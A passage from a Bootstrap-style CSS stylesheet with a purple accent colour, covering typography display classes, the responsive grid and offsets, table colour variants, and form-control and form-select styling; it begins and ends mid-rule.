margin-bottom: 0.5rem; font-size: calc(1.275rem + 0.3vw); line-height: inherit; } @media (min-width: 1200px) { legend { font-size: 1.5rem; } } legend + * { clear: left; } ::-webkit-datetime-edit-fields-wrapper, ::-webkit-datetime-edit-text, ::-webkit-datetime-edit-minute, ::-webkit-datetime-edit-hour-field, ::-webkit-datetime-edit-day-field, ::-webkit-datetime-edit-month-field, ::-webkit-datetime-edit-year-field { padding: 0; } ::-webkit-inner-spin-button { height: auto; } [type="search"] { outline-offset: -2px; -webkit-appearance: textfield; } /* rtl:raw: [type="tel"], [type="url"], [type="email"], [type="number"] { direction: ltr; } */ ::-webkit-search-decoration { -webkit-appearance: none; } ::-webkit-color-swatch-wrapper { padding: 0; } ::file-selector-button { font: inherit; -webkit-appearance: button; } output { display: inline-block; } iframe { border: 0; } summary { display: list-item; cursor: pointer; } progress { vertical-align: baseline; } [hidden] { display: none !important; } .lead { font-size: 1.09375rem; font-weight: 300; } .display-1 { font-size: calc(1.625rem + 4.5vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-1 { font-size: 5rem; } } .display-2 { font-size: calc(1.575rem + 3.9vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-2 { font-size: 4.5rem; } } .display-3 { font-size: calc(1.525rem + 3.3vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-3 { font-size: 4rem; } } .display-4 { font-size: calc(1.475rem + 2.7vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-4 { font-size: 3.5rem; } } .display-5 { font-size: calc(1.425rem + 2.1vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-5 { font-size: 3rem; } } .display-6 { font-size: calc(1.375rem + 1.5vw); font-weight: 300; line-height: 1.2; } @media (min-width: 1200px) { .display-6 { font-size: 2.5rem; } } .list-unstyled { padding-left: 0; list-style: none; } .list-inline { padding-left: 0; list-style: none; } .list-inline-item { display: inline-block; } .list-inline-item:not(:last-child) { margin-right: 0.5rem; } .initialism { font-size: 80%; text-transform: uppercase; } .blockquote { margin-bottom: 1rem; font-size: 1.09375rem; } .blockquote > :last-child { margin-bottom: 0; } .blockquote-footer { margin-top: -1rem; margin-bottom: 1rem; font-size: 80%; color: #6c757d; } .blockquote-footer::before { content: "\2014\00A0"; } .img-fluid { max-width: 100%; height: auto; } .img-thumbnail { padding: 0.25rem; background-color: #f8f9fd; border: 1px solid #f1f1f1; border-radius: 10px; max-width: 100%; height: auto; } .figure { display: inline-block; } .figure-img { margin-bottom: 0.5rem; line-height: 1; } .figure-caption { font-size: 90%; color: #6c757d; } .container, .container-fluid, .container-sm, .container-md, .container-lg, .container-xl, .container-xxl { --bs-gutter-x: 1.5rem; --bs-gutter-y: 0; width: 100%; padding-right: calc(var(--bs-gutter-x) * .5); padding-left: calc(var(--bs-gutter-x) * .5); margin-right: auto; margin-left: auto; } @media (min-width: 576px) { .container, .container-sm { max-width: 540px; } } @media (min-width: 768px) { .container, .container-sm, .container-md { max-width: 720px; } } @media (min-width: 992px) { .container, .container-sm, .container-md, .container-lg { max-width: 960px; } } @media (min-width: 1200px) { .container, .container-sm, .container-md, .container-lg, .container-xl { max-width: 1140px; } } @media (min-width: 1400px) { .container, .container-sm, .container-md, .container-lg, .container-xl, .container-xxl { max-width: 1320px; } } .row { --bs-gutter-x: 1.5rem; --bs-gutter-y: 0; display: flex; flex-wrap: wrap; margin-top: calc(-1 * var(--bs-gutter-y)); margin-right: calc(-.5 * var(--bs-gutter-x)); margin-left: calc(-.5 * var(--bs-gutter-x)); } .row > * { flex-shrink: 0; width: 100%; max-width: 100%; padding-right: calc(var(--bs-gutter-x) * .5); padding-left: calc(var(--bs-gutter-x) * .5); margin-top: var(--bs-gutter-y); } .col { flex: 1 0 0%; } .row-cols-auto > * { flex: 0 0 auto; width: auto; } .row-cols-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-auto { flex: 0 0 auto; width: auto; } .col-1 { flex: 0 0 auto; width: 8.33333%; } .col-2 { flex: 0 0 auto; width: 16.66667%; } .col-3 { flex: 0 0 auto; width: 25%; } .col-4 { flex: 0 0 auto; width: 33.33333%; } .col-5 { flex: 0 0 auto; width: 41.66667%; } .col-6 { flex: 0 0 auto; width: 50%; } .col-7 { flex: 0 0 auto; width: 58.33333%; } .col-8 { flex: 0 0 auto; width: 66.66667%; } .col-9 { flex: 0 0 auto; width: 75%; } .col-10 { flex: 0 0 auto; width: 83.33333%; } .col-11 { flex: 0 0 auto; width: 91.66667%; } .col-12 { flex: 0 0 auto; width: 100%; } .offset-1 { margin-left: 8.33333%; } .offset-2 { margin-left: 16.66667%; } .offset-3 { margin-left: 25%; } .offset-4 { margin-left: 33.33333%; } .offset-5 { margin-left: 41.66667%; } .offset-6 { margin-left: 50%; } .offset-7 { margin-left: 58.33333%; } .offset-8 { margin-left: 66.66667%; } .offset-9 { margin-left: 75%; } .offset-10 { margin-left: 83.33333%; } .offset-11 { margin-left: 91.66667%; } .g-0, .gx-0 { --bs-gutter-x: 0; } .g-0, .gy-0 { --bs-gutter-y: 0; } .g-1, .gx-1 { --bs-gutter-x: 0.25rem; } .g-1, .gy-1 { --bs-gutter-y: 0.25rem; } .g-2, .gx-2 { --bs-gutter-x: 0.5rem; } .g-2, .gy-2 { --bs-gutter-y: 0.5rem; } .g-3, .gx-3 { --bs-gutter-x: 1rem; } .g-3, .gy-3 { --bs-gutter-y: 1rem; } .g-4, .gx-4 { --bs-gutter-x: 1.5rem; } .g-4, .gy-4 { --bs-gutter-y: 1.5rem; } .g-5, .gx-5 { --bs-gutter-x: 3rem; } .g-5, .gy-5 { --bs-gutter-y: 3rem; } @media (min-width: 576px) { .col-sm { flex: 1 0 0%; } .row-cols-sm-auto > * { flex: 0 0 auto; width: auto; } .row-cols-sm-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-sm-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-sm-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-sm-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-sm-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-sm-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-sm-auto { flex: 0 0 auto; width: auto; } .col-sm-1 { flex: 0 0 auto; width: 8.33333%; } .col-sm-2 { flex: 0 0 auto; width: 16.66667%; } .col-sm-3 { flex: 0 0 auto; width: 25%; } .col-sm-4 { flex: 0 0 auto; width: 33.33333%; } .col-sm-5 { flex: 0 0 auto; width: 41.66667%; } .col-sm-6 { flex: 0 0 auto; width: 50%; } .col-sm-7 { flex: 0 0 auto; width: 58.33333%; } .col-sm-8 { flex: 0 0 auto; width: 66.66667%; } .col-sm-9 { flex: 0 0 auto; width: 75%; } .col-sm-10 { flex: 0 0 auto; width: 83.33333%; } .col-sm-11 { flex: 0 0 auto; width: 91.66667%; } .col-sm-12 { flex: 0 0 auto; width: 100%; } .offset-sm-0 { margin-left: 0; } .offset-sm-1 { margin-left: 8.33333%; } .offset-sm-2 { margin-left: 16.66667%; } .offset-sm-3 { margin-left: 25%; } .offset-sm-4 { margin-left: 33.33333%; } .offset-sm-5 { margin-left: 41.66667%; } .offset-sm-6 { margin-left: 50%; } .offset-sm-7 { margin-left: 58.33333%; } .offset-sm-8 { margin-left: 66.66667%; } .offset-sm-9 { margin-left: 75%; } .offset-sm-10 { margin-left: 83.33333%; } .offset-sm-11 { margin-left: 91.66667%; } .g-sm-0, .gx-sm-0 { --bs-gutter-x: 0; } .g-sm-0, .gy-sm-0 { --bs-gutter-y: 0; } .g-sm-1, .gx-sm-1 { --bs-gutter-x: 0.25rem; } .g-sm-1, .gy-sm-1 { --bs-gutter-y: 0.25rem; } .g-sm-2, .gx-sm-2 { --bs-gutter-x: 0.5rem; } .g-sm-2, .gy-sm-2 { --bs-gutter-y: 0.5rem; } .g-sm-3, .gx-sm-3 { --bs-gutter-x: 1rem; } .g-sm-3, .gy-sm-3 { --bs-gutter-y: 1rem; } .g-sm-4, .gx-sm-4 { --bs-gutter-x: 1.5rem; } .g-sm-4, .gy-sm-4 { --bs-gutter-y: 1.5rem; } .g-sm-5, .gx-sm-5 { --bs-gutter-x: 3rem; } .g-sm-5, .gy-sm-5 { --bs-gutter-y: 3rem; } } @media (min-width: 768px) { .col-md { flex: 1 0 0%; } .row-cols-md-auto > * { flex: 0 0 auto; width: auto; } .row-cols-md-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-md-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-md-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-md-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-md-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-md-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-md-auto { flex: 0 0 auto; width: auto; } .col-md-1 { flex: 0 0 auto; width: 8.33333%; } .col-md-2 { flex: 0 0 auto; width: 16.66667%; } .col-md-3 { flex: 0 0 auto; width: 25%; } .col-md-4 { flex: 0 0 auto; width: 33.33333%; } .col-md-5 { flex: 0 0 auto; width: 41.66667%; } .col-md-6 { flex: 0 0 auto; width: 50%; } .col-md-7 { flex: 0 0 auto; width: 58.33333%; } .col-md-8 { flex: 0 0 auto; width: 66.66667%; } .col-md-9 { flex: 0 0 auto; width: 75%; } .col-md-10 { flex: 0 0 auto; width: 83.33333%; } .col-md-11 { flex: 0 0 auto; width: 91.66667%; } .col-md-12 { flex: 0 0 auto; width: 100%; } .offset-md-0 { margin-left: 0; } .offset-md-1 { margin-left: 8.33333%; } .offset-md-2 { margin-left: 16.66667%; } .offset-md-3 { margin-left: 25%; } .offset-md-4 { margin-left: 33.33333%; } .offset-md-5 { margin-left: 41.66667%; } .offset-md-6 { margin-left: 50%; } .offset-md-7 { margin-left: 58.33333%; } .offset-md-8 { margin-left: 66.66667%; } .offset-md-9 { margin-left: 75%; } .offset-md-10 { margin-left: 83.33333%; } .offset-md-11 { margin-left: 91.66667%; } .g-md-0, .gx-md-0 { --bs-gutter-x: 0; } .g-md-0, .gy-md-0 { --bs-gutter-y: 0; } .g-md-1, .gx-md-1 { --bs-gutter-x: 0.25rem; } .g-md-1, .gy-md-1 { --bs-gutter-y: 0.25rem; } .g-md-2, .gx-md-2 { --bs-gutter-x: 0.5rem; } .g-md-2, .gy-md-2 { --bs-gutter-y: 0.5rem; } .g-md-3, .gx-md-3 { --bs-gutter-x: 1rem; } .g-md-3, .gy-md-3 { --bs-gutter-y: 1rem; } .g-md-4, .gx-md-4 { --bs-gutter-x: 1.5rem; } .g-md-4, .gy-md-4 { --bs-gutter-y: 1.5rem; } .g-md-5, .gx-md-5 { --bs-gutter-x: 3rem; } .g-md-5, .gy-md-5 { --bs-gutter-y: 3rem; } } @media (min-width: 992px) { .col-lg { flex: 1 0 0%; } .row-cols-lg-auto > * { flex: 0 0 auto; width: auto; } .row-cols-lg-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-lg-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-lg-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-lg-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-lg-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-lg-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-lg-auto { flex: 0 0 auto; width: auto; } .col-lg-1 { flex: 0 0 auto; width: 8.33333%; } .col-lg-2 { flex: 0 0 auto; width: 16.66667%; } .col-lg-3 { flex: 0 0 auto; width: 25%; } .col-lg-4 { flex: 0 0 auto; width: 33.33333%; } .col-lg-5 { flex: 0 0 auto; width: 41.66667%; } .col-lg-6 { flex: 0 0 auto; width: 50%; } .col-lg-7 { flex: 0 0 auto; width: 58.33333%; } .col-lg-8 { flex: 0 0 auto; width: 66.66667%; } .col-lg-9 { flex: 0 0 auto; width: 75%; } .col-lg-10 { flex: 0 0 auto; width: 83.33333%; } .col-lg-11 { flex: 0 0 auto; width: 91.66667%; } .col-lg-12 { flex: 0 0 auto; width: 100%; } .offset-lg-0 { margin-left: 0; } .offset-lg-1 { margin-left: 8.33333%; } .offset-lg-2 { margin-left: 16.66667%; } .offset-lg-3 { margin-left: 25%; } .offset-lg-4 { margin-left: 33.33333%; } .offset-lg-5 { margin-left: 41.66667%; } .offset-lg-6 { margin-left: 50%; } .offset-lg-7 { margin-left: 58.33333%; } .offset-lg-8 { margin-left: 66.66667%; } .offset-lg-9 { margin-left: 75%; } .offset-lg-10 { margin-left: 83.33333%; } .offset-lg-11 { margin-left: 91.66667%; } .g-lg-0, .gx-lg-0 { --bs-gutter-x: 0; } .g-lg-0, .gy-lg-0 { --bs-gutter-y: 0; } .g-lg-1, .gx-lg-1 { --bs-gutter-x: 0.25rem; } .g-lg-1, .gy-lg-1 { --bs-gutter-y: 0.25rem; } .g-lg-2, .gx-lg-2 { --bs-gutter-x: 0.5rem; } .g-lg-2, .gy-lg-2 { --bs-gutter-y: 0.5rem; } .g-lg-3, .gx-lg-3 { --bs-gutter-x: 1rem; } .g-lg-3, .gy-lg-3 { --bs-gutter-y: 1rem; } .g-lg-4, .gx-lg-4 { --bs-gutter-x: 1.5rem; } .g-lg-4, .gy-lg-4 { --bs-gutter-y: 1.5rem; } .g-lg-5, .gx-lg-5 { --bs-gutter-x: 3rem; } .g-lg-5, .gy-lg-5 { --bs-gutter-y: 3rem; } } @media (min-width: 1200px) { .col-xl { flex: 1 0 0%; } .row-cols-xl-auto > * { flex: 0 0 auto; width: auto; } .row-cols-xl-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-xl-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-xl-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-xl-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-xl-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-xl-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-xl-auto { flex: 0 0 auto; width: auto; } .col-xl-1 { flex: 0 0 auto; width: 8.33333%; } .col-xl-2 { flex: 0 0 auto; width: 16.66667%; } .col-xl-3 { flex: 0 0 auto; width: 25%; } .col-xl-4 { flex: 0 0 auto; width: 33.33333%; } .col-xl-5 { flex: 0 0 auto; width: 41.66667%; } .col-xl-6 { flex: 0 0 auto; width: 50%; } .col-xl-7 { flex: 0 0 auto; width: 58.33333%; } .col-xl-8 { flex: 0 0 auto; width: 66.66667%; } .col-xl-9 { flex: 0 0 auto; width: 75%; } .col-xl-10 { flex: 0 0 auto; width: 83.33333%; } .col-xl-11 { flex: 0 0 auto; width: 91.66667%; } .col-xl-12 { flex: 0 0 auto; width: 100%; } .offset-xl-0 { margin-left: 0; } .offset-xl-1 { margin-left: 8.33333%; } .offset-xl-2 { margin-left: 16.66667%; } .offset-xl-3 { margin-left: 25%; } .offset-xl-4 { margin-left: 33.33333%; } .offset-xl-5 { margin-left: 41.66667%; } .offset-xl-6 { margin-left: 50%; } .offset-xl-7 { margin-left: 58.33333%; } .offset-xl-8 { margin-left: 66.66667%; } .offset-xl-9 { margin-left: 75%; } .offset-xl-10 { margin-left: 83.33333%; } .offset-xl-11 { margin-left: 91.66667%; } .g-xl-0, .gx-xl-0 { --bs-gutter-x: 0; } .g-xl-0, .gy-xl-0 { --bs-gutter-y: 0; } .g-xl-1, .gx-xl-1 { --bs-gutter-x: 0.25rem; } .g-xl-1, .gy-xl-1 { --bs-gutter-y: 0.25rem; } .g-xl-2, .gx-xl-2 { --bs-gutter-x: 0.5rem; } .g-xl-2, .gy-xl-2 { --bs-gutter-y: 0.5rem; } .g-xl-3, .gx-xl-3 { --bs-gutter-x: 1rem; } .g-xl-3, .gy-xl-3 { --bs-gutter-y: 1rem; } .g-xl-4, .gx-xl-4 { --bs-gutter-x: 1.5rem; } .g-xl-4, .gy-xl-4 { --bs-gutter-y: 1.5rem; } .g-xl-5, .gx-xl-5 { --bs-gutter-x: 3rem; } .g-xl-5, .gy-xl-5 { --bs-gutter-y: 3rem; } } @media (min-width: 1400px) { .col-xxl { flex: 1 0 0%; } .row-cols-xxl-auto > * { flex: 0 0 auto; width: auto; } .row-cols-xxl-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-xxl-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-xxl-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-xxl-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-xxl-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-xxl-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-xxl-auto { flex: 0 0 auto; width: auto; } .col-xxl-1 { flex: 0 0 auto; width: 8.33333%; } .col-xxl-2 { flex: 0 0 auto; width: 16.66667%; } .col-xxl-3 { flex: 0 0 auto; width: 25%; } .col-xxl-4 { flex: 0 0 auto; width: 33.33333%; } .col-xxl-5 { flex: 0 0 auto; width: 41.66667%; } .col-xxl-6 { flex: 0 0 auto; width: 50%; } .col-xxl-7 { flex: 0 0 auto; width: 58.33333%; } .col-xxl-8 { flex: 0 0 auto; width: 66.66667%; } .col-xxl-9 { flex: 0 0 auto; width: 75%; } .col-xxl-10 { flex: 0 0 auto; width: 83.33333%; } .col-xxl-11 { flex: 0 0 auto; width: 91.66667%; } .col-xxl-12 { flex: 0 0 auto; width: 100%; } .offset-xxl-0 { margin-left: 0; } .offset-xxl-1 { margin-left: 8.33333%; } .offset-xxl-2 { margin-left: 16.66667%; } .offset-xxl-3 { margin-left: 25%; } .offset-xxl-4 { margin-left: 33.33333%; } .offset-xxl-5 { margin-left: 41.66667%; } .offset-xxl-6 { margin-left: 50%; } .offset-xxl-7 { margin-left: 58.33333%; } .offset-xxl-8 { margin-left: 66.66667%; } .offset-xxl-9 { margin-left: 75%; } .offset-xxl-10 { margin-left: 83.33333%; } .offset-xxl-11 { margin-left: 91.66667%; } .g-xxl-0, .gx-xxl-0 { --bs-gutter-x: 0; } .g-xxl-0, .gy-xxl-0 { --bs-gutter-y: 0; } .g-xxl-1, .gx-xxl-1 { --bs-gutter-x: 0.25rem; } .g-xxl-1, .gy-xxl-1 { --bs-gutter-y: 0.25rem; } .g-xxl-2, .gx-xxl-2 { --bs-gutter-x: 0.5rem; } .g-xxl-2, .gy-xxl-2 { --bs-gutter-y: 0.5rem; } .g-xxl-3, .gx-xxl-3 { --bs-gutter-x: 1rem; } .g-xxl-3, .gy-xxl-3 { --bs-gutter-y: 1rem; } .g-xxl-4, .gx-xxl-4 { --bs-gutter-x: 1.5rem; } .g-xxl-4, .gy-xxl-4 { --bs-gutter-y: 1.5rem; } .g-xxl-5, .gx-xxl-5 { --bs-gutter-x: 3rem; } .g-xxl-5, .gy-xxl-5 { --bs-gutter-y: 3rem; } } .table { --bs-table-color: #293240; --bs-table-bg: transparent; --bs-table-border-color: #f1f1f1; --bs-table-accent-bg: transparent; --bs-table-striped-color: #293240; --bs-table-striped-bg: rgba(0, 0, 0, 0.05); --bs-table-active-color: #293240; --bs-table-active-bg: rgba(0, 0, 0, 0.1); --bs-table-hover-color: #293240; --bs-table-hover-bg: rgba(81, 69, 157, 0.02); width: 100%; margin-bottom: 1rem; color: var(--bs-table-color); vertical-align: top; border-color: var(--bs-table-border-color); } .table > :not(caption) > * > * { padding: 0.9rem 0.75rem; background-color: var(--bs-table-bg); border-bottom-width: 1px; box-shadow: inset 0 0 0 9999px var(--bs-table-accent-bg); } .table > tbody { vertical-align: inherit; } .table > thead { vertical-align: bottom; } .table-group-divider { border-top: 2px solid currentcolor; } .caption-top { caption-side: top; } .table-sm > :not(caption) > * > * { padding: 0.3rem 0.3rem; } .table-bordered > :not(caption) > * { border-width: 1px 0; } .table-bordered > :not(caption) > * > * { border-width: 0 1px; } .table-borderless > :not(caption) > * > * { border-bottom-width: 0; } .table-borderless > :not(:first-child) { border-top-width: 0; } .table-striped > tbody > tr:nth-of-type(odd) > * { --bs-table-accent-bg: var(--bs-table-striped-bg); color: var(--bs-table-striped-color); } .table-striped-columns > :not(caption) > tr > :nth-child(even) { --bs-table-accent-bg: var(--bs-table-striped-bg); color: var(--bs-table-striped-color); } .table-active { --bs-table-accent-bg: var(--bs-table-active-bg); color: var(--bs-table-active-color); } .table-hover > tbody > tr:hover > * { --bs-table-accent-bg: var(--bs-table-hover-bg); color: var(--bs-table-hover-color); } .table-primary { --bs-table-color: #212529; --bs-table-bg: #dcdaeb; --bs-table-border-color: #c9c8d8; --bs-table-striped-bg: #d3d1e1; --bs-table-striped-color: #212529; --bs-table-active-bg: #c9c8d8; --bs-table-active-color: #ffffff; --bs-table-hover-bg: #d8d6e7; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-secondary { --bs-table-color: #212529; --bs-table-bg: #e2e3e5; --bs-table-border-color: #cfd0d2; --bs-table-striped-bg: #d8dadc; --bs-table-striped-color: #212529; --bs-table-active-bg: #cfd0d2; --bs-table-active-color: #212529; --bs-table-hover-bg: #dedfe1; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-success { --bs-table-color: #212529; --bs-table-bg: #e2f7d9; --bs-table-border-color: #cfe2c7; --bs-table-striped-bg: #d8edd0; --bs-table-striped-color: #212529; --bs-table-active-bg: #cfe2c7; --bs-table-active-color: #212529; --bs-table-hover-bg: #def3d5; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-info { --bs-table-color: #212529; --bs-table-bg: #d8f4f7; --bs-table-border-color: #c6dfe2; --bs-table-striped-bg: #cfeaed; --bs-table-striped-color: #212529; --bs-table-active-bg: #c6dfe2; --bs-table-active-color: #212529; --bs-table-hover-bg: #d4f0f3; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-warning { --bs-table-color: #212529; --bs-table-bg: #ffecd2; --bs-table-border-color: #e9d8c1; --bs-table-striped-bg: #f4e2ca; --bs-table-striped-color: #212529; --bs-table-active-bg: #e9d8c1; --bs-table-active-color: #212529; --bs-table-hover-bg: #fbe8cf; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-danger { --bs-table-color: #212529; --bs-table-bg: #ffd8e2; --bs-table-border-color: #e9c6d0; --bs-table-striped-bg: #f4cfd9; --bs-table-striped-color: #212529; --bs-table-active-bg: #e9c6d0; --bs-table-active-color: #ffffff; --bs-table-hover-bg: #fbd4de; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-light { --bs-table-color: #212529; --bs-table-bg: #f8f9fa; --bs-table-border-color: #e3e4e5; --bs-table-striped-bg: #edeef0; --bs-table-striped-color: #212529; --bs-table-active-bg: #e3e4e5; --bs-table-active-color: #212529; --bs-table-hover-bg: #f4f5f6; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-dark { --bs-table-color: #ffffff; --bs-table-bg: #1c232f; --bs-table-border-color: #333944; --bs-table-striped-bg: #272e39; --bs-table-striped-color: #ffffff; --bs-table-active-bg: #333944; --bs-table-active-color: #ffffff; --bs-table-hover-bg: #212733; --bs-table-hover-color: #ffffff; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-responsive { overflow-x: auto; -webkit-overflow-scrolling: touch; } @media (max-width: 575.98px) { .table-responsive-sm { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 767.98px) { .table-responsive-md { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 991.98px) { .table-responsive-lg { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 1199.98px) { .table-responsive-xl { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 1399.98px) { .table-responsive-xxl { overflow-x: auto; -webkit-overflow-scrolling: touch; } } .form-label { margin-bottom: 0.5rem; } .col-form-label { padding-top: calc(0.575rem + 1px); padding-bottom: calc(0.575rem + 1px); margin-bottom: 0; font-size: inherit; line-height: 1.5; } .col-form-label-lg { padding-top: calc(0.5rem + 1px); padding-bottom: calc(0.5rem + 1px); font-size: 1.09375rem; } .col-form-label-sm { padding-top: calc(0.25rem + 1px); padding-bottom: calc(0.25rem + 1px); font-size: 0.76563rem; } .form-text { margin-top: 0.25rem; font-size: 80%; color: #6c757d; } .form-control, .custom-select, .dataTable-selector, .dataTable-input { display: block; width: 100%; padding: 0.575rem 1rem; font-size: 0.875rem; font-weight: 400; line-height: 1.5; color: #293240; background-color: #ffffff; background-clip: padding-box; border: 1px solid #ced4da; -webkit-appearance: none; -moz-appearance: none; appearance: none; border-radius: 6px; transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-control, .custom-select, .dataTable-selector, .dataTable-input { transition: none; } } .form-control[type="file"], .custom-select[type="file"], .dataTable-selector[type="file"], .dataTable-input[type="file"] { overflow: hidden; } .form-control[type="file"]:not(:disabled):not([readonly]), .custom-select[type="file"]:not(:disabled):not([readonly]), .dataTable-selector[type="file"]:not(:disabled):not([readonly]), .dataTable-input[type="file"]:not(:disabled):not([readonly]) { cursor: pointer; } .form-control:focus, .custom-select:focus, .dataTable-selector:focus, .dataTable-input:focus { color: #293240; background-color: #ffffff; border-color: #51459d; outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-control::-webkit-date-and-time-value, .custom-select::-webkit-date-and-time-value, .dataTable-selector::-webkit-date-and-time-value, .dataTable-input::-webkit-date-and-time-value { height: 1.5em; } .form-control::-moz-placeholder, .custom-select::-moz-placeholder, .dataTable-selector::-moz-placeholder, .dataTable-input::-moz-placeholder { color: #6c757d; opacity: 1; } .form-control::placeholder, .custom-select::placeholder, .dataTable-selector::placeholder, .dataTable-input::placeholder { color: #6c757d; opacity: 1; } .form-control:disabled, .custom-select:disabled, .dataTable-selector:disabled, .dataTable-input:disabled { background-color: #e9ecef; opacity: 1; } .form-control::file-selector-button, .custom-select::file-selector-button, .dataTable-selector::file-selector-button, .dataTable-input::file-selector-button { padding: 0.575rem 1rem; margin: -0.575rem -1rem; -webkit-margin-end: 1rem; margin-inline-end: 1rem; color: #293240; background-color: #f8f9fd; pointer-events: none; border-color: inherit; border-style: solid; border-width: 0; border-inline-end-width: 1px; border-radius: 0; transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-control::file-selector-button, .custom-select::file-selector-button, .dataTable-selector::file-selector-button, .dataTable-input::file-selector-button { transition: none; } } .form-control:hover:not(:disabled):not([readonly])::file-selector-button, .custom-select:hover:not(:disabled):not([readonly])::file-selector-button, .dataTable-selector:hover:not(:disabled):not([readonly])::file-selector-button, .dataTable-input:hover:not(:disabled):not([readonly])::file-selector-button { background-color: #ecedf0; } .form-control-plaintext { display: block; width: 100%; padding: 0.575rem 0; margin-bottom: 0; line-height: 1.5; color: #293240; background-color: transparent; border: solid transparent; border-width: 1px 0; } .form-control-plaintext:focus { outline: 0; } .form-control-plaintext.form-control-sm, .form-control-plaintext.form-control-lg { padding-right: 0; padding-left: 0; } .form-control-sm { min-height: calc(1.5em + 0.5rem + 2px); padding: 0.25rem 0.5rem; font-size: 0.76563rem; border-radius: 4px; } .form-control-sm::file-selector-button { padding: 0.25rem 0.5rem; margin: -0.25rem -0.5rem; -webkit-margin-end: 0.5rem; margin-inline-end: 0.5rem; } .form-control-lg { min-height: calc(1.5em + 1rem + 2px); padding: 0.5rem 1rem; font-size: 1.09375rem; border-radius: 8px; } .form-control-lg::file-selector-button { padding: 0.5rem 1rem; margin: -0.5rem -1rem; -webkit-margin-end: 1rem; margin-inline-end: 1rem; } textarea.form-control, textarea.custom-select, textarea.dataTable-selector, textarea.dataTable-input { min-height: calc(1.5em + 1.15rem + 2px); } textarea.form-control-sm { min-height: calc(1.5em + 0.5rem + 2px); } textarea.form-control-lg { min-height: calc(1.5em + 1rem + 2px); } .form-control-color { width: 3rem; height: calc(1.5em + 1.15rem + 2px); padding: 0.575rem; } .form-control-color:not(:disabled):not([readonly]) { cursor: pointer; } .form-control-color::-moz-color-swatch { border: 0 !important; border-radius: 6px; } .form-control-color::-webkit-color-swatch { border-radius: 6px; } .form-control-color.form-control-sm { height: calc(1.5em + 0.5rem + 2px); } .form-control-color.form-control-lg { height: calc(1.5em + 1rem + 2px); } .form-select { display: block; width: 100%; padding: 0.575rem 1rem 0.575rem 1rem; -moz-padding-start: calc(1rem - 3px); font-size: 0.875rem; font-weight: 400; line-height: 1.5; color: #293240; background-color: #ffffff; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"); background-repeat: no-repeat; background-position: right 1rem center; background-size: 16px 12px; border: 1px solid #ced4da; border-radius: 6px; transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; -webkit-appearance: none; -moz-appearance: none; appearance: none; } @media (prefers-reduced-motion: reduce) { .form-select { transition: none; } } .form-select:focus { border-color: #51459d; outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-select[multiple], .form-select[size]:not([size="1"]) { padding-right: 1rem; background-image: none; } .form-select:disabled { color: #6c757d; background-color: #e9ecef; } .form-select:-moz-focusring { color: transparent; 